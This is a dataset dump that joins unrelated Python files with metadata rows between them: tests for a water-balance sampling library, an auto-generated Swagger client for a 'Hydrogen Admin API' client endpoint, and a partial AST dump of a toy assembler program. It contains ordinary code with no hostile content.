wb = DatabaseWaterBalancer(ecoinvent_version='test_db', database_name="test_db", biosphere="biosphere")
ab = ActivityWaterBalancer(('test_db', 'R'), wb)
ab._identify_strategy()
assert ab.strategy == 'default'
ab._define_balancing_parameters()
assert ab.static_ratio == 1
assert ab.static_balance == 0
matrix_data = ab.generate_samples(5)
assert matrix_data[0][0].shape[1] == 5
assert matrix_data[0][0].shape[0] == 1
assert matrix_data[1][0].shape[1] == 5
assert matrix_data[1][0].shape[0] == 6
in_sum, out_sum = helper_get_matrix_data_sums_for_test(ab, matrix_data)
assert np.allclose(in_sum/out_sum, ab.static_ratio)
def test_rebalance_tap_water_default(data_for_testing):
wb = DatabaseWaterBalancer(ecoinvent_version='test_db', database_name="test_db", biosphere="biosphere")
ab = ActivityWaterBalancer(('test_db', 'S'), wb)
ab._identify_strategy()
assert ab.strategy == 'default'
ab._define_balancing_parameters()
assert ab.static_ratio == 1
assert ab.static_balance == 0
matrix_data = ab.generate_samples(5)
assert matrix_data[0][0].shape[1] == 5
assert matrix_data[0][0].shape[0] == 3
assert matrix_data[1][0].shape[1] == 5
assert matrix_data[1][0].shape[0] == 1
in_sum, out_sum = helper_get_matrix_data_sums_for_test(ab, matrix_data)
assert np.allclose(in_sum/out_sum, ab.static_ratio)
def test_rebalance_tap_water_default_m3(data_for_testing):
wb = DatabaseWaterBalancer(ecoinvent_version='test_db', database_name="test_db", biosphere="biosphere")
ab = ActivityWaterBalancer(('test_db', 'T'), wb)
ab._identify_strategy()
assert ab.strategy == 'default'
ab._define_balancing_parameters()
assert ab.static_ratio == 1
assert ab.static_balance == 0
matrix_data = ab.generate_samples(5)
assert matrix_data[0][0].shape[1] == 5
assert matrix_data[0][0].shape[0] == 3
assert matrix_data[1][0].shape[1] == 5
assert matrix_data[1][0].shape[0] == 1
in_sum, out_sum = helper_get_matrix_data_sums_for_test(ab, matrix_data)
assert np.allclose(in_sum/out_sum, ab.static_ratio)
def test_rebalance_tap_water_market(data_for_testing):
wb = DatabaseWaterBalancer(ecoinvent_version='test_db', database_name="test_db", biosphere="biosphere")
ab = ActivityWaterBalancer(('test_db', 'U'), wb)
ab._identify_strategy()
assert ab.strategy == 'set_static'
matrix_data = ab.generate_samples(5)
assert len(matrix_data)==1
assert matrix_data[0][0].shape[1]==5
assert matrix_data[0][0].shape[0]==1
assert np.allclose(0.1*np.ones(shape=(1, 5)), matrix_data[0][0])
assert len(matrix_data[0][1]) == 1
assert matrix_data[0][1][0] == (('biosphere', 'Water 1, to water, in kg'), ('test_db', 'U'))
def test_rebalance_tap_water_market_losses(data_for_testing):
wb = DatabaseWaterBalancer(ecoinvent_version='test_db', database_name="test_db", biosphere="biosphere")
ab = ActivityWaterBalancer(('test_db', 'V'), wb)
ab._identify_strategy()
assert ab.strategy == 'default'
ab._define_balancing_parameters()
assert ab.static_ratio == 1
assert ab.static_balance == 0
matrix_data = ab.generate_samples(5)
assert matrix_data[0][0].shape[1]==5
assert matrix_data[0][0].shape[0] == 1
assert matrix_data[1][0].shape[1] == 5
assert matrix_data[1][0].shape[0] == 3
production_indices = [1 if t[2]=='production' else 0 for t in matrix_data[1][1]]
techno_indices = [0 if t[2]=='production' else 1 for t in matrix_data[1][1]]
in_total = (matrix_data[1][0]*np.array(techno_indices).reshape(-1,1)).sum(axis=0)
out_total = (matrix_data[1][0] * np.array(production_indices).reshape(-1, 1)).sum(axis=0) + matrix_data[0][0]
assert np.allclose(in_total, out_total)
def test_all_matrix_data_and_presamples(data_for_testing):
wb = DatabaseWaterBalancer(ecoinvent_version='test_db', database_name="test_db", biosphere="biosphere")
assert wb.matrix_indices==[]
assert wb.matrix_samples is None
wb.add_samples_for_all_acts(5)
assert len(wb.matrix_indices)==98
assert wb.matrix_samples.shape == (98, 5)
id_, dirpath = wb.create_presamples(id_="test")
indices_0 = np.load(dirpath/"{}.0.indices.npy".format(id_))
indices_1 = np.load(dirpath / "{}.1.indices.npy".format(id_))
samples_0 = np.load(dirpath/"{}.0.samples.npy".format(id_))
samples_1 = np.load(dirpath / "{}.1.samples.npy".format(id_))
assert indices_0.shape[0] + indices_1.shape[0] == 97
assert samples_0.shape[1] == 5
assert samples_1.shape[1] == 5
assert samples_0.shape[0] + samples_1.shape[0] == 97
| 45.205782
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0
| 7
|
bfbafc827450ece4a4d49588aad98ff5916d0ea6
| 23,076
|
py
|
Python
|
web-component/python/admin_api/api/client_api.py
|
AbhiGupta03/SDK
|
f3a61aae7a847f07f0c22a154ca88dc378e9d25e
|
[
"Apache-2.0"
] | null | null | null |
web-component/python/admin_api/api/client_api.py
|
AbhiGupta03/SDK
|
f3a61aae7a847f07f0c22a154ca88dc378e9d25e
|
[
"Apache-2.0"
] | null | null | null |
web-component/python/admin_api/api/client_api.py
|
AbhiGupta03/SDK
|
f3a61aae7a847f07f0c22a154ca88dc378e9d25e
|
[
"Apache-2.0"
] | null | null | null |
# coding: utf-8
"""
Hydrogen Admin API
The Hydrogen Admin API # noqa: E501
OpenAPI spec version: 1.0.2
Contact: info@hydrogenplatform.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from admin_api.api_client import ApiClient
from admin_api.auth_api import AuthApi
class ClientApi(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
Ref: https://github.com/swagger-api/swagger-codegen
"""
def __init__(self, api_client=None, auth_api=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
if auth_api is None:
auth_api = AuthApi(self.api_client)
self.auth_api = auth_api
def create_client_using_post(self, client_request, appTokenConfig, **kwargs): # noqa: E501
"""Create a client # noqa: E501
Create a new client, or register a new user, with your firm. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.create_client_using_post(client_request, appTokenConfig, async_req=True)
>>> result = thread.get()
:param async_req bool
:param Client client_request: clientRequest (required)
:return: Client
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.create_client_using_post_with_http_info(client_request, appTokenConfig, **kwargs) # noqa: E501
else:
(data) = self.create_client_using_post_with_http_info(client_request, appTokenConfig, **kwargs) # noqa: E501
return data
def create_client_using_post_with_http_info(self, client_request, appTokenConfig, **kwargs): # noqa: E501
"""Create a client # noqa: E501
Create a new client, or register a new user, with your firm. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.create_client_using_post_with_http_info(client_request, appTokenConfig, async_req=True)
>>> result = thread.get()
:param async_req bool
:param Client client_request: clientRequest (required)
:return: Client
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['client_request'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
if appTokenConfig['basePath'] is None:
raise TypeError("Missing the required parameter 'basePath'")
self.api_client.configuration.host = appTokenConfig['basePath']
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method create_client_using_post" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'client_request' is set
if self.api_client.client_side_validation and ('client_request' not in params or
params['client_request'] is None): # noqa: E501
raise ValueError("Missing the required parameter `client_request` when calling `create_client_using_post`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'client_request' in params:
body_params = params['client_request']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['*/*']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['oauth2'] # noqa: E501
authType = appTokenConfig['authType']
if(authType is not None and authType.lower() == "client_credentials"):
auth_api_cc_response = self.auth_api.create_using_post_client_credentials(appTokenConfig['clientId'], appTokenConfig['clientSecret'])
self.api_client.configuration.access_token = auth_api_cc_response.access_token
elif (authType is not None and authType.lower() == "password_credentials"):
auth_api_cc_response = self.auth_api.create_using_post_password_credentials(appTokenConfig['clientId'], appTokenConfig['clientSecret'], appTokenConfig['username'], appTokenConfig['password'])
self.api_client.configuration.access_token = auth_api_cc_response.access_token
elif (authType is not None and authType.lower() == "client_token_credentials"):
auth_api_cc_response = self.auth_api.create_client_token_credentials(appTokenConfig['clientId'], appTokenConfig['clientSecret'], appTokenConfig['clientToken'])
self.api_client.configuration.access_token = auth_api_cc_response.access_token
return self.api_client.call_api(
'/nucleus/v1/client', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Client', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_client_all_using_get(self, appTokenConfig, **kwargs): # noqa: E501
"""List all clients # noqa: E501
Get details for all clients registered with your firm. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_client_all_using_get(appTokenConfig, async_req=True)
>>> result = thread.get()
:param async_req bool
:param bool ascending: ascending
:param str filter: filter
:param str order_by: order_by
:param int page: page
:param int size: size
:return: PageClient
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_client_all_using_get_with_http_info(appTokenConfig, **kwargs) # noqa: E501
else:
(data) = self.get_client_all_using_get_with_http_info(appTokenConfig, **kwargs) # noqa: E501
return data
def get_client_all_using_get_with_http_info(self, appTokenConfig, **kwargs): # noqa: E501
"""List all clients # noqa: E501
Get details for all clients registered with your firm. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_client_all_using_get_with_http_info(appTokenConfig, async_req=True)
>>> result = thread.get()
:param async_req bool
:param bool ascending: ascending
:param str filter: filter
:param str order_by: order_by
:param int page: page
:param int size: size
:return: PageClient
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['ascending', 'filter', 'order_by', 'page', 'size'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
if appTokenConfig['basePath'] is None:
raise TypeError("Missing the required parameter 'basePath'")
self.api_client.configuration.host = appTokenConfig['basePath']
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_client_all_using_get" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
if 'ascending' in params:
query_params.append(('ascending', params['ascending'])) # noqa: E501
if 'filter' in params:
query_params.append(('filter', params['filter'])) # noqa: E501
if 'order_by' in params:
query_params.append(('order_by', params['order_by'])) # noqa: E501
if 'page' in params:
query_params.append(('page', params['page'])) # noqa: E501
if 'size' in params:
query_params.append(('size', params['size'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['*/*']) # noqa: E501
# Authentication setting
auth_settings = ['oauth2'] # noqa: E501
authType = appTokenConfig['authType']
if(authType is not None and authType.lower() == "client_credentials"):
auth_api_cc_response = self.auth_api.create_using_post_client_credentials(appTokenConfig['clientId'], appTokenConfig['clientSecret'])
self.api_client.configuration.access_token = auth_api_cc_response.access_token
elif (authType is not None and authType.lower() == "password_credentials"):
auth_api_cc_response = self.auth_api.create_using_post_password_credentials(appTokenConfig['clientId'], appTokenConfig['clientSecret'], appTokenConfig['username'], appTokenConfig['password'])
self.api_client.configuration.access_token = auth_api_cc_response.access_token
elif (authType is not None and authType.lower() == "client_token_credentials"):
auth_api_cc_response = self.auth_api.create_client_token_credentials(appTokenConfig['clientId'], appTokenConfig['clientSecret'], appTokenConfig['clientToken'])
self.api_client.configuration.access_token = auth_api_cc_response.access_token
return self.api_client.call_api(
'/nucleus/v1/client', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='PageClient', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_client_using_get(self, client_id, appTokenConfig, **kwargs): # noqa: E501
"""Retrieve a client # noqa: E501
Retrieve the information for a client registered with your firm. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_client_using_get(client_id, appTokenConfig, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str client_id: UUID client_id (required)
:return: Client
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_client_using_get_with_http_info(client_id, appTokenConfig, **kwargs) # noqa: E501
else:
(data) = self.get_client_using_get_with_http_info(client_id, appTokenConfig, **kwargs) # noqa: E501
return data
def get_client_using_get_with_http_info(self, client_id, appTokenConfig, **kwargs): # noqa: E501
"""Retrieve a client # noqa: E501
Retrieve the information for a client registered with your firm. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_client_using_get_with_http_info(client_id, appTokenConfig, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str client_id: UUID client_id (required)
:return: Client
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['client_id'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
if appTokenConfig['basePath'] is None:
raise TypeError("Missing the required parameter 'basePath'")
self.api_client.configuration.host = appTokenConfig['basePath']
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_client_using_get" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'client_id' is set
if self.api_client.client_side_validation and ('client_id' not in params or
params['client_id'] is None): # noqa: E501
raise ValueError("Missing the required parameter `client_id` when calling `get_client_using_get`") # noqa: E501
collection_formats = {}
path_params = {}
if 'client_id' in params:
path_params['client_id'] = params['client_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['*/*']) # noqa: E501
# Authentication setting
auth_settings = ['oauth2'] # noqa: E501
authType = appTokenConfig['authType']
if(authType is not None and authType.lower() == "client_credentials"):
auth_api_cc_response = self.auth_api.create_using_post_client_credentials(appTokenConfig['clientId'], appTokenConfig['clientSecret'])
self.api_client.configuration.access_token = auth_api_cc_response.access_token
elif (authType is not None and authType.lower() == "password_credentials"):
auth_api_cc_response = self.auth_api.create_using_post_password_credentials(appTokenConfig['clientId'], appTokenConfig['clientSecret'], appTokenConfig['username'], appTokenConfig['password'])
self.api_client.configuration.access_token = auth_api_cc_response.access_token
elif (authType is not None and authType.lower() == "client_token_credentials"):
auth_api_cc_response = self.auth_api.create_client_token_credentials(appTokenConfig['clientId'], appTokenConfig['clientSecret'], appTokenConfig['clientToken'])
self.api_client.configuration.access_token = auth_api_cc_response.access_token
return self.api_client.call_api(
'/nucleus/v1/client/{client_id}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Client', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def update_client_using_put(self, client, client_id, appTokenConfig, **kwargs): # noqa: E501
"""Update a client # noqa: E501
Update the information for a client registered with your firm. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_client_using_put(client, client_id, appTokenConfig, async_req=True)
>>> result = thread.get()
:param async_req bool
:param object client: client (required)
:param str client_id: UUID client_id (required)
:return: Client
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.update_client_using_put_with_http_info(client, client_id, appTokenConfig, **kwargs) # noqa: E501
else:
(data) = self.update_client_using_put_with_http_info(client, client_id, appTokenConfig, **kwargs) # noqa: E501
return data
def update_client_using_put_with_http_info(self, client, client_id, appTokenConfig, **kwargs): # noqa: E501
"""Update a client # noqa: E501
Update the information for a client registered with your firm. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_client_using_put_with_http_info(client, client_id, appTokenConfig, async_req=True)
>>> result = thread.get()
:param async_req bool
:param object client: client (required)
:param str client_id: UUID client_id (required)
:return: Client
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['client', 'client_id'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
if appTokenConfig['basePath'] is None:
raise TypeError("Missing the required parameter 'basePath'")
self.api_client.configuration.host = appTokenConfig['basePath']
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method update_client_using_put" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'client' is set
if self.api_client.client_side_validation and ('client' not in params or
params['client'] is None): # noqa: E501
raise ValueError("Missing the required parameter `client` when calling `update_client_using_put`") # noqa: E501
# verify the required parameter 'client_id' is set
if self.api_client.client_side_validation and ('client_id' not in params or
params['client_id'] is None): # noqa: E501
raise ValueError("Missing the required parameter `client_id` when calling `update_client_using_put`") # noqa: E501
collection_formats = {}
path_params = {}
if 'client_id' in params:
path_params['client_id'] = params['client_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'client' in params:
body_params = params['client']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['*/*']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['oauth2'] # noqa: E501
authType = appTokenConfig['authType']
if(authType is not None and authType.lower() == "client_credentials"):
auth_api_cc_response = self.auth_api.create_using_post_client_credentials(appTokenConfig['clientId'], appTokenConfig['clientSecret'])
self.api_client.configuration.access_token = auth_api_cc_response.access_token
elif (authType is not None and authType.lower() == "password_credentials"):
auth_api_cc_response = self.auth_api.create_using_post_password_credentials(appTokenConfig['clientId'], appTokenConfig['clientSecret'], appTokenConfig['username'], appTokenConfig['password'])
self.api_client.configuration.access_token = auth_api_cc_response.access_token
elif (authType is not None and authType.lower() == "client_token_credentials"):
auth_api_cc_response = self.auth_api.create_client_token_credentials(appTokenConfig['clientId'], appTokenConfig['clientSecret'], appTokenConfig['clientToken'])
self.api_client.configuration.access_token = auth_api_cc_response.access_token
return self.api_client.call_api(
'/nucleus/v1/client/{client_id}', 'PUT',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Client', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
| 46.902439
| 203
| 0.644219
| 2,660
| 23,076
| 5.310902
| 0.071053
| 0.038508
| 0.030367
| 0.028881
| 0.937708
| 0.923975
| 0.910243
| 0.89736
| 0.891555
| 0.881716
| 0
| 0.013031
| 0.265081
| 23,076
| 491
| 204
| 46.997963
| 0.819978
| 0.252687
| 0
| 0.763066
| 1
| 0
| 0.167607
| 0.036135
| 0
| 0
| 0
| 0
| 0
| 1
| 0.031359
| false
| 0.027875
| 0.017422
| 0
| 0.094077
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 1
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| null | 0
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| 0
| 0
|
0
| 8
|
7814c2721e86d6ece8d3cdba3adc643b650d8fd9
| 24,622
|
py
|
Python
|
example_ast.py
|
gaming32/PyASM
|
902bdd6823b32cff10c3ece6c0d0764ac32c7200
|
[
"MIT"
] | null | null | null |
example_ast.py
|
gaming32/PyASM
|
902bdd6823b32cff10c3ece6c0d0764ac32c7200
|
[
"MIT"
] | null | null | null |
example_ast.py
|
gaming32/PyASM
|
902bdd6823b32cff10c3ece6c0d0764ac32c7200
|
[
"MIT"
] | null | null | null |
from ast import *
Module(
body=[
ImportFrom(
module='pyasm.stubs',
names=[
alias(name='*')],
level=0,
lineno=1,
col_offset=0,
end_lineno=1,
end_col_offset=25),
FunctionDef(
name='mult',
args=arguments(
posonlyargs=[],
args=[
arg(
arg='x',
lineno=5,
col_offset=9,
end_lineno=5,
end_col_offset=10),
arg(
arg='y',
lineno=5,
col_offset=12,
end_lineno=5,
end_col_offset=13)],
kwonlyargs=[],
kw_defaults=[],
defaults=[]),
body=[
Expr(
value=Call(
func=Name(
id='load_immediate',
ctx=Load(),
lineno=6,
col_offset=4,
end_lineno=6,
end_col_offset=18),
args=[
Name(
id='regx',
ctx=Load(),
lineno=6,
col_offset=19,
end_lineno=6,
end_col_offset=23),
Name(
id='x',
ctx=Load(),
lineno=6,
col_offset=25,
end_lineno=6,
end_col_offset=26)],
keywords=[],
lineno=6,
col_offset=4,
end_lineno=6,
end_col_offset=27),
lineno=6,
col_offset=4,
end_lineno=6,
end_col_offset=27),
Expr(
value=Call(
func=Name(
id='load_immediate',
ctx=Load(),
lineno=7,
col_offset=4,
end_lineno=7,
end_col_offset=18),
args=[
Name(
id='regy',
ctx=Load(),
lineno=7,
col_offset=19,
end_lineno=7,
end_col_offset=23),
Name(
id='y',
ctx=Load(),
lineno=7,
col_offset=25,
end_lineno=7,
end_col_offset=26)],
keywords=[],
lineno=7,
col_offset=4,
end_lineno=7,
end_col_offset=27),
lineno=7,
col_offset=4,
end_lineno=7,
end_col_offset=27),
Expr(
value=Call(
func=Name(
id='call',
ctx=Load(),
lineno=8,
col_offset=4,
end_lineno=8,
end_col_offset=8),
args=[
Name(
id='multiply',
ctx=Load(),
lineno=8,
col_offset=9,
end_lineno=8,
end_col_offset=17)],
keywords=[],
lineno=8,
col_offset=4,
end_lineno=8,
end_col_offset=18),
lineno=8,
col_offset=4,
end_lineno=8,
end_col_offset=18)],
decorator_list=[
Name(
id='inline_macro',
ctx=Load(),
lineno=4,
col_offset=1,
end_lineno=4,
end_col_offset=13)],
lineno=5,
col_offset=0,
end_lineno=8,
end_col_offset=18),
FunctionDef(
name='square',
args=arguments(
posonlyargs=[],
args=[
arg(
arg='x',
lineno=12,
col_offset=11,
end_lineno=12,
end_col_offset=12)],
kwonlyargs=[],
kw_defaults=[],
defaults=[]),
body=[
Expr(
value=Call(
func=Name(
id='mult',
ctx=Load(),
lineno=13,
col_offset=4,
end_lineno=13,
end_col_offset=8),
args=[
Name(
id='x',
ctx=Load(),
lineno=13,
col_offset=9,
end_lineno=13,
end_col_offset=10),
Name(
id='x',
ctx=Load(),
lineno=13,
col_offset=12,
end_lineno=13,
end_col_offset=13)],
keywords=[],
lineno=13,
col_offset=4,
end_lineno=13,
end_col_offset=14),
lineno=13,
col_offset=4,
end_lineno=13,
end_col_offset=14)],
decorator_list=[
Name(
id='inline_macro',
ctx=Load(),
lineno=11,
col_offset=1,
end_lineno=11,
end_col_offset=13)],
lineno=12,
col_offset=0,
end_lineno=13,
end_col_offset=14),
FunctionDef(
name='start',
args=arguments(
posonlyargs=[],
args=[],
kwonlyargs=[],
kw_defaults=[],
defaults=[]),
body=[
Expr(
value=Call(
func=Name(
id='square',
ctx=Load(),
lineno=17,
col_offset=4,
end_lineno=17,
end_col_offset=10),
args=[
Constant(
value=5,
lineno=17,
col_offset=11,
end_lineno=17,
end_col_offset=12)],
keywords=[],
lineno=17,
col_offset=4,
end_lineno=17,
end_col_offset=13),
lineno=17,
col_offset=4,
end_lineno=17,
end_col_offset=13),
Expr(
value=Call(
func=Name(
id='store_register',
ctx=Load(),
lineno=18,
col_offset=4,
end_lineno=18,
end_col_offset=18),
args=[
Name(
id='accum',
ctx=Load(),
lineno=18,
col_offset=19,
end_lineno=18,
end_col_offset=24),
Name(
id='result',
ctx=Load(),
lineno=18,
col_offset=26,
end_lineno=18,
end_col_offset=32)],
keywords=[],
lineno=18,
col_offset=4,
end_lineno=18,
end_col_offset=33),
lineno=18,
col_offset=4,
end_lineno=18,
end_col_offset=33),
Expr(
value=Call(
func=Name(
id='halt',
ctx=Load(),
lineno=19,
col_offset=4,
end_lineno=19,
end_col_offset=8),
args=[],
keywords=[],
lineno=19,
col_offset=4,
end_lineno=19,
end_col_offset=10),
lineno=19,
col_offset=4,
end_lineno=19,
end_col_offset=10)],
decorator_list=[],
lineno=16,
col_offset=0,
end_lineno=19,
end_col_offset=10),
FunctionDef(
name='multiply',
args=arguments(
posonlyargs=[],
args=[],
kwonlyargs=[],
kw_defaults=[],
defaults=[]),
body=[
Expr(
value=Call(
func=Name(
id='store_register',
ctx=Load(),
lineno=23,
col_offset=4,
end_lineno=23,
end_col_offset=18),
args=[
Name(
id='regx',
ctx=Load(),
lineno=23,
col_offset=19,
end_lineno=23,
end_col_offset=23),
Constant(
value=254,
lineno=23,
col_offset=25,
end_lineno=23,
end_col_offset=29)],
keywords=[],
lineno=23,
col_offset=4,
end_lineno=23,
end_col_offset=30),
lineno=23,
col_offset=4,
end_lineno=23,
end_col_offset=30),
Expr(
value=Call(
func=Name(
id='store_register',
ctx=Load(),
lineno=24,
col_offset=4,
end_lineno=24,
end_col_offset=18),
args=[
Name(
id='regy',
ctx=Load(),
lineno=24,
col_offset=19,
end_lineno=24,
end_col_offset=23),
Constant(
value=255,
lineno=24,
col_offset=25,
end_lineno=24,
end_col_offset=29)],
keywords=[],
lineno=24,
col_offset=4,
end_lineno=24,
end_col_offset=30),
lineno=24,
col_offset=4,
end_lineno=24,
end_col_offset=30),
Expr(
value=Call(
func=Name(
id='load_immediate',
ctx=Load(),
lineno=25,
col_offset=4,
end_lineno=25,
end_col_offset=18),
args=[
Name(
id='regx',
ctx=Load(),
lineno=25,
col_offset=19,
end_lineno=25,
end_col_offset=23),
Constant(
value=0,
lineno=25,
col_offset=25,
end_lineno=25,
end_col_offset=26)],
keywords=[],
lineno=25,
col_offset=4,
end_lineno=25,
end_col_offset=27),
lineno=25,
col_offset=4,
end_lineno=25,
end_col_offset=27),
Expr(
value=Call(
func=Name(
id='load_immediate',
ctx=Load(),
lineno=26,
col_offset=4,
end_lineno=26,
end_col_offset=18),
args=[
Name(
id='accum',
ctx=Load(),
lineno=26,
col_offset=19,
end_lineno=26,
end_col_offset=24),
Constant(
value=0,
lineno=26,
col_offset=26,
end_lineno=26,
end_col_offset=27)],
keywords=[],
lineno=26,
col_offset=4,
end_lineno=26,
end_col_offset=28),
lineno=26,
col_offset=4,
end_lineno=26,
end_col_offset=28)],
decorator_list=[],
lineno=22,
col_offset=0,
end_lineno=26,
end_col_offset=28),
FunctionDef(
name='_work_multpily_start',
args=arguments(
posonlyargs=[],
args=[],
kwonlyargs=[],
kw_defaults=[],
defaults=[]),
body=[
Expr(
value=Call(
func=Name(
id='compare',
ctx=Load(),
lineno=29,
col_offset=4,
end_lineno=29,
end_col_offset=11),
args=[
Name(
id='regx',
ctx=Load(),
lineno=29,
col_offset=12,
end_lineno=29,
end_col_offset=16),
Constant(
value=255,
lineno=29,
col_offset=18,
end_lineno=29,
end_col_offset=22)],
keywords=[],
lineno=29,
col_offset=4,
end_lineno=29,
end_col_offset=23),
lineno=29,
col_offset=4,
end_lineno=29,
end_col_offset=23),
Expr(
value=Call(
func=Name(
id='branch_ne',
ctx=Load(),
lineno=30,
col_offset=4,
end_lineno=30,
end_col_offset=13),
args=[
Name(
id='_work_multiply_loop',
ctx=Load(),
lineno=30,
col_offset=14,
end_lineno=30,
end_col_offset=33)],
keywords=[],
lineno=30,
col_offset=4,
end_lineno=30,
end_col_offset=34),
lineno=30,
col_offset=4,
end_lineno=30,
end_col_offset=34),
Expr(
value=Call(
func=Name(
id='jump',
ctx=Load(),
lineno=31,
col_offset=4,
end_lineno=31,
end_col_offset=8),
args=[
Name(
id='_end_multiply',
ctx=Load(),
lineno=31,
col_offset=9,
end_lineno=31,
end_col_offset=22)],
keywords=[],
lineno=31,
col_offset=4,
end_lineno=31,
end_col_offset=23),
lineno=31,
col_offset=4,
end_lineno=31,
end_col_offset=23)],
decorator_list=[],
lineno=28,
col_offset=0,
end_lineno=31,
end_col_offset=23),
FunctionDef(
name='_work_multiply_loop',
args=arguments(
posonlyargs=[],
args=[],
kwonlyargs=[],
kw_defaults=[],
defaults=[]),
body=[
Expr(
value=Call(
func=Name(
id='add_memory',
ctx=Load(),
lineno=34,
col_offset=4,
end_lineno=34,
end_col_offset=14),
args=[
Constant(
value=254,
lineno=34,
col_offset=15,
end_lineno=34,
end_col_offset=19)],
keywords=[],
lineno=34,
col_offset=4,
end_lineno=34,
end_col_offset=20),
lineno=34,
col_offset=4,
end_lineno=34,
end_col_offset=20),
Expr(
value=Call(
func=Name(
id='increment_register',
ctx=Load(),
lineno=35,
col_offset=4,
end_lineno=35,
end_col_offset=22),
args=[
Name(
id='regx',
ctx=Load(),
lineno=35,
col_offset=23,
end_lineno=35,
end_col_offset=27)],
keywords=[],
lineno=35,
col_offset=4,
end_lineno=35,
end_col_offset=28),
lineno=35,
col_offset=4,
end_lineno=35,
end_col_offset=28),
Expr(
value=Call(
func=Name(
id='jump',
ctx=Load(),
lineno=36,
col_offset=4,
end_lineno=36,
